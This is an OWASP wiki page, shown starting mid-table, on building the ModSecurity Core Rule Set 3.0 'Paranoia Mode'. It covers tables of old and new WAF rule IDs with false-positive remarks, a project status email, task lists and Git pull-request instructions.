| 960015
| 920300
| Request Missing an Accept Header
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: many FP (PHP SoapClient)<br/>Discussion concluded it's moved to paranoia mode.<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]<br/>Spartan: Many mobile devices do not send this header, very high FP.
|-
| 960024
| gone -> 942460
| Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters
| confirmed
| Christian's 2.2.X experience: very frequently false positives
|-
| 960035
| 920440
| URL file extension is restricted by policy
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 970901
| 950100
| The Application Returned a 500-Level Status Code
| confirmed
| Franziska's candidate: too strict, too generic, no data leakage happened so far. Walter: it's useful however to prevent attacker from distinguishing between a failed SQLi attempt (403 blocked by ModSec) or a query error due to vulnerable app (500 from application); <br/>Discussion resolved with move to paranoia mode. 403 will cloak a backend error, which is hard for an inexperienced admin and thus complicates things in standard installations<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001889.html Link to discussion]
|-
| 973300
| gone -> 941320
| Possible XSS Attack Detected - HTML Tag Handler
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 973332
| gone -> 941330
| IE XSS Filters - Attack Detected.
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 973333
| gone -> 941340
| IE XSS Filters - Attack Detected.
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 981172
| gone -> 942420
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: very high FP
|-
| 981173
| gone -> 942430
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: very high FP
|-
| 981231
| gone -> 942440
| SQL Comment Sequence Detected.
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: high FP but rule seems useful
|-
| 981240
| 942300
| Detects MySQL comments, conditions and ch(a)r injections
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 981242
| 942330
| Detects classic SQL injection probings 1/2
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: one quote character already matches?? Walter: low FP, but seen in cookies injected by some US ISPs;
|-
| 981243
| 942370
| Detects classic SQL injection probings 2/2
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: medium FP
|-
| 981244
| 942180
| Detects basic SQL authentication bypass attempts 1/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP; <br/> discussion did not bring up additional arguments. Moving to paranoia mode<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]
|-
| 981245
| 942260
| Detects basic SQL authentication bypass attempts 2/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981246
| 942340
| Detects basic SQL authentication bypass attempts 3/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981248
| 942210
| Detects chained SQL injection attempts 1/2
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: low FP, <br/> discussion did not bring up any additional arguments. Moving to paranoia mode<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]
|-
| 981249
| 942310
| Detects chained SQL injection attempts 2/2
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP but seen in very specific situations
|-
| 981257
| 942200
| Detects MySQL comment-/space-obfuscated injections and backtick termination
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981260
| gone -> 942450
| SQL Hex Encoding Identified
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: high FP in long random strings
|-
| 981318
| 942110
| SQL Injection Attack: Common Injection Testing Detected
| confirmed
| Franziska's candidate: one quote character at the beginning/end really not legitimate? Walter 2.2.X candidate: frequent FP
|-
| 981319
| 942120
| SQL Injection Attack: SQL Operator Detected
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: very short operators or strings already match. Walter: some FP (WooCommerce)
|-
| 981049
| 912100
| Potential Denial of Service (DoS) Attack from ... - # of Request Bursts: ...
| cloning-confirmed
| limit currently at 2; could be set to 1; now, the attacker has to exceed dos_counter_threshold twice. With full reset of counter after first hit. Source: 2.2.X->experimental rules
|-
| 960901
| 920270
| Invalid character in request
| cloning-confirmed
| @validateByteRange 1-255; there was a conditional rule with stricter byterange 32-126 in 2.2.X as well
|-
| 970003
| 951100
| none
| cloning-confirmed
| rule is only setting tx.sql_error_match. Could also trigger score directly
|-
| 950907
| 932100
| Remote Command Execution (RCE) Attempt
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 958977
| 933110
| PHP Injection Attack: Function Name Found
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 958979
| 933120
| PHP Injection Attack: Configuration Directive Found
| cloning-candidate
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 950001
| 942150
| SQL Injection Attack
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 950907
| 932100
| System Command Injection
| dropped
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: false positives possible because of @pmf, file with short cmds. Discussion evolved about splitting the file, which everybody thinks is a good idea. But that would be outside the scope of the introduction of the paranoia mode. So the rule stays in the standard set of rules for the time being and will be split in the future [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001886.html Link to discussion]
|-
| 900050
| 910100
| Client IP is from a HIGH Risk Country Location.
| dropped
| Franziska's candidate: Do we want to exlude countries? But then easy to configure. Discussion pointed out this as an effective rule. We leave it in the standard rules, but provide an empty country list by default [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001951.html Link to discussion]. [https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/284 Separate pull request]
|-
| 960017
| 920350
| Host header is a numeric IP address
| dropped
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: low FP (almost all are mass scans); <br/> Discussion concluded that legitimate use of numeric IP addresses is rare. This is really mostly mass scanners. Rule will be kept in standard set of rules<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]
|-
| 958977
| 933110
| PHP Injection Attack: Function Name Found
| dropped
| Franziska's candidate: false positives possible because of @pmf, file with short function names. Maybe we should split the data file. The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.
|-
| 958979
| 933120
| PHP Injection Attack: Configuration Directive Found
| dropped
| Franziska's candidate: false positives possible because of @pmf, file with short configuration directives. Splitting file? The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.
|}

===Rules from 2.2.X, missing in 3.0.0-rc1===

It looks as if only the base_rules made it into 3.0.0. In fact there are a few rule ids know from the optional and experimental rule folders in 2.2.X, but it is more likely, these are new 3.0.0 rules reusing old rule ids as the rules (regexes and msg) do not match at all.

When trying to generate the list below, be aware that the rule ids have been renumbered between 3.0.0-dev and 3.0.0-rc1. IdNumbering.csv in your friend.

====Base rules====

{|- class="wikitable"
|'''2.2.X rule id'''
|         '''msg'''       
|    '''remarks'''   
|-
| 950002
| System Command Access
|
|-
| 950006
| System Command Injection
|
|-
| 950007
| Blind SQL Injection Attack
|
|-
| 950008
| Injection of Undocumented ColdFusion Tags
|
|-
| 950010
| LDAP Injection Attack
|
|-
| 950011
| SSI injection Attack
|
|-
| 950018
| Universal PDF XSS URL Detected.
| Walter: medium FP (foo.pdf#javascript)
|-
| 950019
| Email Injection Attack
|
|-
| 950908
| SQL Injection Attack.
|
|-
| 950921
| Backdoor access
|
|-
| 950922
| Backdoor access
|
|-
| 958000
| Cross-site Scripting (XSS) Attack
|
|-
| 958001
| Cross-site Scripting (XSS) Attack
|
|-
| 958002
| Cross-site Scripting (XSS) Attack
|
|-
| 958003
| Cross-site Scripting (XSS) Attack
|
|-
| 958004
| Cross-site Scripting (XSS) Attack
|
|-
| 958005
| Cross-site Scripting (XSS) Attack
|
|-
| 958006
| Cross-site Scripting (XSS) Attack
|
|-
| 958007
| Cross-site Scripting (XSS) Attack
|
|-
| 958008
| Cross-site Scripting (XSS) Attack
|
|-
| 958009
| Cross-site Scripting (XSS) Attack
|
|-
| 958010
| Cross-site Scripting (XSS) Attack
|
|-
| 958011
| Cross-site Scripting (XSS) Attack
|
|-
| 958012
| Cross-site Scripting (XSS) Attack
|
|-
| 958013
| Cross-site Scripting (XSS) Attack
|
|-
| 958016
| Cross-site Scripting (XSS) Attack
|
|-
| 958017
| Cross-site Scripting (XSS) Attack
|
|-
| 958018
| Cross-site Scripting (XSS) Attack
|
|-
| 958019
| Cross-site Scripting (XSS) Attack
|
|-
| 958020
| Cross-site Scripting (XSS) Attack
|
|-
| 958022
| Cross-site Scripting (XSS) Attack
|
|-
| 958023
| Cross-site Scripting (XSS) Attack
|
|-
| 958024
| Cross-site Scripting (XSS) Attack
|
|-
| 958025
| Cross-site Scripting (XSS) Attack
|
|-
| 958026
| Cross-site Scripting (XSS) Attack
|
|-
| 958027
| Cross-site Scripting (XSS) Attack
|
|-
| 958028
| Cross-site Scripting (XSS) Attack
|
|-
| 958030
| Cross-site Scripting (XSS) Attack
|
|-
| 958031
| Cross-site Scripting (XSS) Attack
|
|-
| 958032
| Cross-site Scripting (XSS) Attack
|
|-
| 958033
| Cross-site Scripting (XSS) Attack
|
|-
| 958034
| Cross-site Scripting (XSS) Attack
|
|-
| 958036
| Cross-site Scripting (XSS) Attack
|
|-
| 958037
| Cross-site Scripting (XSS) Attack
|
|-
| 958038
| Cross-site Scripting (XSS) Attack
|
|-
| 958039
| Cross-site Scripting (XSS) Attack
|
|-
| 958040
| Cross-site Scripting (XSS) Attack
|
|-
| 958041
| Cross-site Scripting (XSS) Attack
|
|-
| 958045
| Cross-site Scripting (XSS) Attack
|
|-
| 958046
| Cross-site Scripting (XSS) Attack
|
|-
| 958047
| Cross-site Scripting (XSS) Attack
|
|-
| 958049
| Cross-site Scripting (XSS) Attack
|
|-
| 958051
| Cross-site Scripting (XSS) Attack
|
|-
| 958052
| Cross-site Scripting (XSS) Attack
|
|-
| 958054
| Cross-site Scripting (XSS) Attack
|
|-
| 958056
| Cross-site Scripting (XSS) Attack
|
|-
| 958057
| Cross-site Scripting (XSS) Attack
|
|-
| 958059
| Cross-site Scripting (XSS) Attack
|
|-
| 958291
| Range: field exists and begins with 0.
| Walter: high FP (Chrome PDF viewer) and not useful.
|-
| 958404
| Cross-site Scripting (XSS) Attack
|
|-
| 958405
| Cross-site Scripting (XSS) Attack
|
|-
| 958406
| Cross-site Scripting (XSS) Attack
|
|-
| 958407
| Cross-site Scripting (XSS) Attack
|
|-
| 958408
| Cross-site Scripting (XSS) Attack
|
|-
| 958409
| Cross-site Scripting (XSS) Attack
|
|-
| 958410
| Cross-site Scripting (XSS) Attack
|
|-
| 958411
| Cross-site Scripting (XSS) Attack
|
|-
| 958412
| Cross-site Scripting (XSS) Attack
|
|-
| 958413
| Cross-site Scripting (XSS) Attack
|
|-
| 958414
| Cross-site Scripting (XSS) Attack
|
|-
| 958415
| Cross-site Scripting (XSS) Attack
|
|-
| 958416
| Cross-site Scripting (XSS) Attack
|
|-
| 958417
| Cross-site Scripting (XSS) Attack
|
|-
| 958418
| Cross-site Scripting (XSS) Attack
|
|-
| 958419
| Cross-site Scripting (XSS) Attack
|
|-
| 958420
| Cross-site Scripting (XSS) Attack
|
|-
| 958421
| Cross-site Scripting (XSS) Attack
|
|-
| 958422
| Cross-site Scripting (XSS) Attack
|
|-
| 958423
| Cross-site Scripting (XSS) Attack
|
|-
| 958976
| PHP Injection Attack
|
|-
| 959070
| SQL Injection Attack
|
|-
| 959071
| SQL Injection Attack
|
|-
| 959072
| SQL Injection Attack
|
|-
| 959073
| SQL Injection Attack
|
|-
| 960014
| Proxy access attempt
|
|-
| 960018
| Invalid character in request
|
|-
| 960020
| Pragma Header requires Cache-Control Header for HTTP/1.1 requests.
| Walter: some FP
|-
| 960022
| UNKNOWN
|
|-
| 960024
| Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters
| Walter: many FP
|-
| 960902
| UNKNOWN
|
|-
| 960913
| Invalid request
|
|-
| 970007
| Zope Information Leakage
|
|-
| 970008
| Cold Fusion Information Leakage
|
|-
| 970010
| ISA server existence revealed
|
|-
| 970011
| File or Directory Names Leakage
|
|-
| 970012
| Microsoft Office document properties leakage
|
|-
| 970016
| Cold Fusion source code leakage
| Walter: some FP but not using this language
|-
| 970018
| IIS installed in default location
|
|-
| 970021
| WebLogic information disclosure
|
|-
| 970903
| ASP/JSP source code leakage
| Walter: some FP but not using this language
|-
| 973300
| Possible XSS Attack Detected - HTML Tag Handler
|
|-
| 973301
| XSS Attack Detected
|
|-
| 973302
| XSS Attack Detected
|
|-
| 973303
| XSS Attack Detected
|
|-
| 973304
| XSS Attack Detected
|
|-
| 973305
| XSS Attack Detected
|
|-
| 973306
| XSS Attack Detected
|
|-
| 973307
| XSS Attack Detected
|
|-
| 973308
| XSS Attack Detected
|
|-
| 973309
| XSS Attack Detected
|
|-
| 973310
| XSS Attack Detected
|
|-
| 973311
| XSS Attack Detected
|
|-
| 973312
| XSS Attack Detected
|
|-
| 973313
| XSS Attack Detected
|
|-
| 973314
| XSS Attack Detected
|
|-
| 973316
| IE XSS Filters - Attack Detected.
|
|-
| 973325
| IE XSS Filters - Attack Detected.
|
|-
| 973327
| IE XSS Filters - Attack Detected.
|
|-
| 973328
| IE XSS Filters - Attack Detected.
|
|-
| 973329
| IE XSS Filters - Attack Detected.
|
|-
| 973330
| IE XSS Filters - Attack Detected.
|
|-
| 973331
| IE XSS Filters - Attack Detected.
|
|-
| 973332
| IE XSS Filters - Attack Detected.
|
|-
| 973333
| IE XSS Filters - Attack Detected.
|
|-
| 973334
| IE XSS Filters - Attack Detected.
| Walter: many FP in text
|-
| 973335
| IE XSS Filters - Attack Detected.
| Walter: many FP in text
|-
| 973347
| IE XSS Filters - Attack Detected.
|
|-
| 981000
| Possibly malicious iframe tag in output
| Walter: medium FP
|-
| 981001
| Possibly malicious iframe tag in output
| Walter: medium FP (iframes with display:none)
|-
| 981003
| Malicious iframe+javascript tag in output
|
|-
| 981004
| Potential Obfuscated Javascript in Output - Excessive fromCharCode
| Walter: many FP (Wordpress 4.4 inlined emoji javascripts); folinic: Problem solved in WP: https://core.trac.wordpress.org/ticket/35412
|-
| 981005
| Potential Obfuscated Javascript in Output - Eval+Unescape
|
|-
| 981006
| Potential Obfuscated Javascript in Output - Unescape
|
|-
| 981007
| Potential Obfuscated Javascript in Output - Heap Spray
|
|-
| 981018
| UNKNOWN
|
|-
| 981022
| UNKNOWN
|
|-
| 981133
| UNKNOWN
|
|-
| 981134
| UNKNOWN
|
|-
| 981136
| UNKNOWN
|
|-
| 981172
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| Walter: many FP
|-
| 981173
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| Walter: many FP
|-
| 981177
| UNKNOWN
|
|-
| 981178
| UNKNOWN
|
|-
| 981231
| SQL Comment Sequence Detected.
|
|-
| 981260
| SQL Hex Encoding Identified
|
|-
| 981300
| UNKNOWN
|
|-
| 981301
| UNKNOWN
|
|-
| 981302
| UNKNOWN
|
|-
| 981303
| UNKNOWN
|
|-
| 981304
| UNKNOWN
|
|-
| 981305
| UNKNOWN
|
|-
| 981306
| UNKNOWN
|
|-
| 981307
| UNKNOWN
|
|-
| 981308
| UNKNOWN
|
|-
| 981309
| UNKNOWN
|
|-
| 981310
| UNKNOWN
|
|-
| 981311
| UNKNOWN
|
|-
| 981312
| UNKNOWN
|
|-
| 981313
| UNKNOWN
|
|-
| 981314
| UNKNOWN
|
|-
| 981315
| UNKNOWN
|
|-
| 981316
| SQL SELECT Statement Anomaly Detection Alert
|
|-
| 981317
| SQL SELECT Statement Anomaly Detection Alert
|
|-
| 990012
| Rogue web site crawler
|
|}

====Optional, experimental, slr rules====

{|- class="wikitable"
| 900048
| Identifies Reflected XSS (optional_rules)
| Walter: could be very interesting candidate but have not used it in production
|-
| 920021, 920022, 920023
| Possible Credit Card Track 1 Data Leakage. (experimental_rules)
| Walter: could be interesting candidates but have not used it in production
|-
| 981080, 920020, 920006
| Detect CC# in output and block transaction (optional_rules)
| Walter: could be interesting candidate but have not used it in production
|-
| 900047, 900048, 981180, 981182
| Identifies Stored XSS (optional_rules)
| Walter: could be somewhat interesting candidate but have not used it in production
|}

=== Stricter siblings for existing rules ===

Stricter Siblings are rules that are present in the CRS but could be accompanied by a stricter clone in Paranoia Mode. Adjustments can differ from rule to rule but include higher anomaly ratings or stricter triggers (e.g. regex counters). To prevent masses of false positives, rules can come with additional filters (chained rules) for common use-cases. These can either be included into Paranoia Mode or simply serve as a recommendation.

Note: To avoid a cluttered project main-page, rule proposals are documented in their respective sub-page. When adding new proposals, make sure adding the rules original (2.2.x) ID, a quick description of what changes were made, and, if applicable, which additional filters were added. For every proposed rule change, we will create a [https://github.com/SpiderLabs/owasp-modsecurity-crs/issues Github issue]; after discussion a pull request will be created. For brainstorming about CRS rules, see our [[OWASP ModSecurity rule evaluation framework]].

'''Possible siblings:'''

[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981173|981173 : SQL Injection Character Anomaly Usage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981172|981172 : SQL Injection Character Anomaly Usage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981049|981049 : Potential Denial of Service (DoS)]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_970003|970003 : SQL Error Leakage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_960901|960901 : Invalid character in request]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958980|958980 : PHP Injection Attack: Variables Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958979|958979 : PHP Injection Attack: Configuration Directive Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958977|958977 : PHP Injection Attack: Function Name Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950907|950907 : Remote Command Execution (RCE) Attempt]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950001|950001 : SQL Injection Attack]]

==Project Status==

===Project Status January 30, 2016===

<code>
Hello everybody,

It's time to do a status report of our little core rules project.

I am including Franziska Bühler and Walter Hop in this status mail.
Both are experienced ModSec sysadmins. Franziska contributed to this
first stage, Walter told me he does not have much time, but he
was interested in participating at least in the discussions about
the rules.

All in all, this is taking more time than anticipated. But we
have also done things very throughly than I thought. Which is
generally a good thing.

Done so far:
* Manuel has provided us with a list of rules removed between 2.2.x and 3.0.0rc1
* I have assembled a list of rules known to trigger false positives frequently in the 2.2.x ruleset, they are thus candidates for the paranoia mode
* Franziska has looked through the 3.0.0rc1 rules and identified a set of rules which look like good candidates.
* Noël has sharpened his skills by re-writing 981173 in a way that ignores innocent UUIDs. In my eyes, he found a very elegant solution.
* With the development of 3.0.0-dev, Chaim unfortunately reused rule ids formerly used with optional and experimental rules. Now this has all been renumbered. I have pointed this out in the mailinglist and had private contact with Chaim where he confirmed the fact - and promised to resolve the issue.

We have not really looked at the disappeared rules and identified those
who should be brought back and have not been picked so far. This
includes the 2.2.X base_rules, but also the optional, experimental,
and huge stock of slr rules. Of these three groups, only the
anti-ddos rules have made it into 3.0.0. There are probably more
interesting candidates.

If somebody among you wants to look into these, then that would be
welcome, but I do not want to have these tasks delay us any further.
After all, Old rules can also be brought back in subsequent releases
if we see a benefit.

So the next real tasks are:
* Looking through the list of candidates and cloning-candidates (the latter are those rules we might accompany with a clone with stricter limits in paranoia mode).
* Defining the exact working of the paranoia mode.

Please sit down and look through the rule lists in the wiki and add
remarks with regards to the candidate rules. If you think a rule
should be included, if you think an individual rule should not be
included etc.

I am also going to invite the people on the mailinglist to take look at
the rules as well and add their remarks in the wiki (or respond via mail).
This should allow us to nail down the list of rules which will
actually be included in the paranoia mode.

As for defining the exact working of the paranoia mode, I guess I
need to write down the idea I have in mind and see if it makes sense to
you.

Thank you for contributing so far! It is a lot of fun to work in a team!

Christian

</code>

==Git help==

====How to Perform Pull Request to CRS v3.0.0-rc1====

'''By Walter Hop'''

This example assumes that the Github username is 'lifeforms', replace with your own username.

'''Step 1. Create a Github fork of the original repository'''
* a. Browse to CRS: https://github.com/SpiderLabs/owasp-modsecurity-crs
* b. Click "Fork" button in the top right

'''Step 2. Download your Github fork, and checkout the correct branch '''<br/>
<code>
git clone git@github.com:lifeforms/owasp-modsecurity-crs.git <br/>
cd owasp-modsecurity-crs <br/>
git checkout v3.0.0-rc1 <br/>
</code>

'''Step 3. Add the original repository as upstream, to integrate new changes easily'''<br/>
<code>
git remote add upstream git@github.com:SpiderLabs/owasp-modsecurity-crs.git
</code>

'''Step 4. Make sure your forked repo is up to date with changes in the original repository'''<br/>

You need to re-do these steps if somebody else made changes to upstream in the meantime!

<code>
git checkout v3.0.0-rc1 <br/>
git fetch upstream <br/>
git merge --ff upstream/v3.0.0-rc1 <br/>
git push <br/>
</code>

'''Step 5. Create a branch for every separate issue you'd like to fix.'''<br/>
<code>
git checkout -b myfeature v3.0.0-rc1<br/>
git push --set-upstream origin myfeature<br/>
</code>

'''Step 6. Make local changes and commit them'''<br/>
<code>
git add ...<br/>
git commit<br/>
</code>

'''Step 7. Push your local changes to your fork at Github'''<br/>
<code>
git push<br/>
</code>

'''Step 8. Create the pull request'''
* a. Browse to your own fork: https://github.com/lifeforms/owasp-modsecurity-crs
* b. Click "New pull request" button
* c. In the "base fork", ensure that the correct branch is selected: v3.0.0-rc1
* d. In the "head fork", pick "myfeature" (if you used branches) or v3.0.0-rc1 (if you didn't)
* e. Review the content of the pull request (should only contain your commits)
* f. Press "Create pull request" button

'''Optional: Updating your pull request'''

After opening the pull request, people will review it, and probably will make some suggestions for changes before the PR can be accepted. You can keep pushing to your branch, and it will be reflected in the PR.

If in the meantime the code in upstream has drifted, you should re-do step 4 above.

Then, just change some files, commit and push.

<code>
git add ...<br/>
git commit<br/>
git push<br/>
</code>

See also:

* https://help.github.com/articles/fork-a-repo/
* https://help.github.com/articles/syncing-a-fork/
* https://help.github.com/articles/using-pull-requests/

====Testing someone else's pull request====
To test a PR locally, use the following commands to create a branch for it.

In this example we check out PR #427, creating a branch <tt>chaim-headers</tt> locally (you can use any name):

<pre>
git fetch upstream pull/427/head:chaim-headers
git checkout chaim-headers
</pre>

====Pushing to someone else's pull request====
In an editable PR, the PR will say something like:
<pre>
Add more commits by pushing to the ExceptionSupport branch on csanders-git/owasp-modsecurity-crs.
</pre>

To add to branch <tt>ExceptionSupport</tt> of user <tt>csanders-git</tt>, do:
<pre>
git remote add chaim git@github.com:csanders-git/owasp-modsecurity-crs.git
git fetch chaim
git co ExceptionSupport
git add ...
git push
</pre>

====Purging a file completely from Git====
Delete the file from the repo:
<pre>
git rm file
git commit
git push
</pre>

Download [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]

Make a NEW mirror:
<pre>
git clone --mirror git@github.com:SpiderLabs/owasp-modsecurity-crs.git
cd owasp-modsecurity-crs.git
</pre>

Purge the file:
<pre>
java -jar ~/Downloads/bfg-*.jar --delete-files example.png
git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push -f
</pre>

E-mail all users to REMOVE their copies of the repositories, and do a FRESH CLONE of the repo. If a user pulls again, the divergent histories will be merged, and there is a big risk that the dirty history (containing the purged file) will return again when they push later.

See also: [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]

[[Category:OWASP ModSecurity Core Rule Set Project]]

OWASP ModSec CRS Paranoia Mode

2018-03-16T17:36:29Z

Christina Schelin:

==Abstract==

This is a page about the development of a paranoia mode aka bringing back the rules that used to yield a high number of false positives. This little project is aimed at inclusion into the 3.0.0 release of the OWASP ModSecurity Core Rules, where some rules have been removed in order to reduce the number of false positives with vanilla installations.

FIXME: Detailed description

''Back to the [[OWASP ModSecurity Core Rules Set]].''

==Sub-Project Infos==

* '''Status''': active (January 2016)
* '''Schedule''': '''DONE''' (we're all done and Paranoia Mode made it into the CRS3 release.
* '''Who''': Christian Folini (dune73), Noël Zindel (zino), Franziska Bühler (franziskabuehler), Manuel Leos (Spartan), Walter Hop (lifeforms)
* '''Documentation''': Here on the [https://www.owasp.org/index.php/OWASP_ModSec_CRS_Paranoia_Mode OWASP Wiki] / [https://www.netnea.com/cms/2016/02/04/owasp-modsecurity-core-rules-paranoia-mode-mechanics-proposal/ Mechanics Proposal]
* '''Discussion / Archive''': <tt>owasp-modsecurity-core-rule-set@lists.owasp.org</tt> / archive: http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/
* '''Github Link v3.0.0-rc1 (our base)''': https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v3.0.0-rc1
* '''Github Link paranoia-mode''': https://github.com/dune73/owasp-modsecurity-crs/tree/paranoia-mode
* '''Final Pull Request #1: Add paranoia mode mechanics''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/292 MERGED
* '''Final Pull Request #2: Move first rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/300 MERGED
* '''Final Pull Request #3: Add 2.2.X rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/308 MERGED
* '''Final Pull Request #4: Add stricter siblings''': FIXME

==Tasks==

===Open Tasks===

Please define state as follows: ''new'', ''assigned'', ''waiting'', ''closed''. When a task is closed, it is moved to the seperate closed tasks table below.

{|- class="wikitable"
|'''Task'''
|         '''Who'''       
|    '''Status'''   
|-
| Write pull request number 4
| n.n.
| new
|-
| Submit pull request number 4
| n.n.
| new
|-
| Draw flowchart
| n.n.
| new
|-
| Write documentation
| Christian
| new
|}

===Closed Tasks===

{|- class="wikitable"
|'''Task'''
|         '''Who'''       
|    '''Status'''   
|-
| Assemble list of rules, which triggered false positives in 2.2.X frequently
| Christian
| closed
|-
| Assemble list of 2.2.x rules, which have disappeared from 3.0.0-rc1
| Spartan
| closed
|-
| Assemble list of 3.0.0-rc1 rules, which could be accompanied with<br />stricter siblings in paranoia mode<br />(same idea of the rule, but harder limit etc.)
| Christian
| closed
|-
| Assemble list of 3.0.0-rc1 rules, which could be moved to the paranoia mode
| Franziska
| closed
|-
| Assemble list of disappeared / missing 2.2.X base_rules, which should be brought back
| group
| closed
|-
| Assemble list of 2.2.X optional and experimental rules, which should be brought back
| group
| closed (could be repeated more throughly)
|-
| Nail down final list of rules which should be moved / recreated into the paranoia mode
| group
| closed
|-
| Sort out mechanics of the paranoia mode
| Christian
| closed
|-
| Write new stricter siblings for existing rules
| Noël
| closed
|-
| Define ID-space for strict siblings
| Fraziska, group
| closed
|-
| Define exact syntax of paranoia mode setup
| Christian, group
| closed
|-
| Sort out name: Is "Paranoia Mode" really the right term?
| Christian, group
| closed
|}

==Rules==

===Paranoia Mode Candidates===

The 3.0.0-rc1 has all rules renumbered. Existing numbering was fairly crazy and the new numbering follows the numbering scheme of the rules files (-> 9<2-digit-rulefile><3-digit-id>)
A mapping table exists [[https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.0.0-rc1/id_renumbering/IdNumbering.csv IdNumbering.csv]]
We need to make sure, we do not mess things up, so let's add both IDs to the table, the old one and the new one.

Please set status as follows : ''confirmed'',''candidate'', ''cloning-confirmed'',''cloning-candidate'', ''unsure'', ''dropped''.
* 'cloning-confirmed', 'cloning-candidates' are rules, that could be cloned into an even stricter variant with a stricter limit in a higher paranoia setting.
* If dropped, please provide reasoning in the remarks.

{|- class="wikitable"
|'''RuleID 2.2.x'''
|'''RuleID 3.0.0-rc1'''
|         '''msg'''       
|    '''Status'''   
|    '''Remarks'''   
|-
| 950001
| 942150
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: @pmf file with very short function names, could match frequently.
|-
| 950109
| 920230
| Multiple URL Encoding Detected
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 950120
| 931130
| Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link
| confirmed
| Walter's 2.2.X candidate: many FP; Chrstian: hardly any FPs; <br/>discussion concluded, that rule should end up in paranoia mode, possibly with additional conditions to reduce FPs (scope outside of this paranoia mode project)<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001885.html Link to discussion]
|-
| 960335
| 920380
| Too many arguments in request
| confirmed
| Walter's 2.2.X candidate: some FP (phpMyAdmin, large forms), alternatively would recommend raising <code>tx.max_num_args</code> to 1000
|-
| 950901
| 942130
| SQL Injection Attack: SQL Tautology Detected.
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: legitimate sentences could match. Walter's 2.2.x experience: many FP in natural text however the rule seems to have merit
|-
| 950916
| 921170
| HTTP Header Injection Attack via payload (CR/LF detected)
| confirmed
| Franziska's candidate: change action from pass to block and move to paranoia mode.
|-
| 959070
| gone -> 942380
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959071
| gone -> 942390
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959072
| gone -> 942400
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 959073
